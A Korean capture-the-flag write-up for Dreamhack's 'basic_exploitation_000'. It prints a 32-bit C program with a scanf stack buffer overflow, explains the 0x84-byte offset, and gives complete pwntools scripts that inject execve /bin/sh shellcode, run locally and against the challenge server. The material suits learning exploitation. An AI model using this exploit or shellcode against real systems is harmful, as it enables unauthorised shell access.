해당 파일은 32bit ELF 파일이다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}
main 함수를 봤을 때 크기 0x80 만큼의 버퍼가 설정되어 있고, 버퍼의 주소 출력 후, scanf() 에서 해당 버퍼에 입력값을 받고 있다.
scanf() 함수에서 스택 버퍼 오버플로우 취약점이 발생하는 것을 확인할 수 있다.
해당 파일에는 아무런 보호기법도 걸려있지 않다.
NX 보호기법이 걸려있지 않으므로, 스택에서 명령어를 실행시킬 수 있다. 스택 버퍼 오버플로우 취약점을 이용해서 스택에 셸 코드를 삽입 한 후 해당 셸 코드의 주소로 return address 를 덮어씌우면 된다. 이 때 buf 의 주소를 알아야 하는데, 버퍼의 주소는 프로그램에서 출력해주므로 따로 구할 필요가 없다.
buf 와 return address 사이의 바이트 수를 알아야 한다.
scanf 함수 부근을 보면 스택에 ebp-0x80 값을 넣고 있다. 즉 buf 의 주소가 ebp-0x80 이라는 것이다.
x86 아키텍처에서 return address 의 위치는 ebp+0x4 이므로 buf 와 return address 사이의 바이트 수는 0x84 이다.
from pwn import *
p = process("./basic_exploitation_000")
e = ELF("./basic_exploitation_000")
sh = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
print("len(sh): ", len(sh))
payload = b''
payload += sh
payload += b"\x90" * (0x84 - len(sh))
p.recvuntil(b"buf = (")
buf = p.recv(10)
buf = int(buf, 16)
print("buf: ", hex(buf))
payload += p32(buf)
p.send(payload)
p.interactive()
from pwn import *
#p = process("./basic_exploitation_000")
p = remote("host3.dreamhack.games", 22998)
e = ELF("./basic_exploitation_000")
sh = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80"
print("len(sh): ", len(sh))
payload = b''
payload += sh
payload += b"\x90" * (0x84 - len(sh))
p.recvuntil(b"buf = (")
buf = p.recv(10)
buf = int(buf, 16)
print("buf: ", hex(buf))
payload += p32(buf)
p.send(payload)
p.interactive()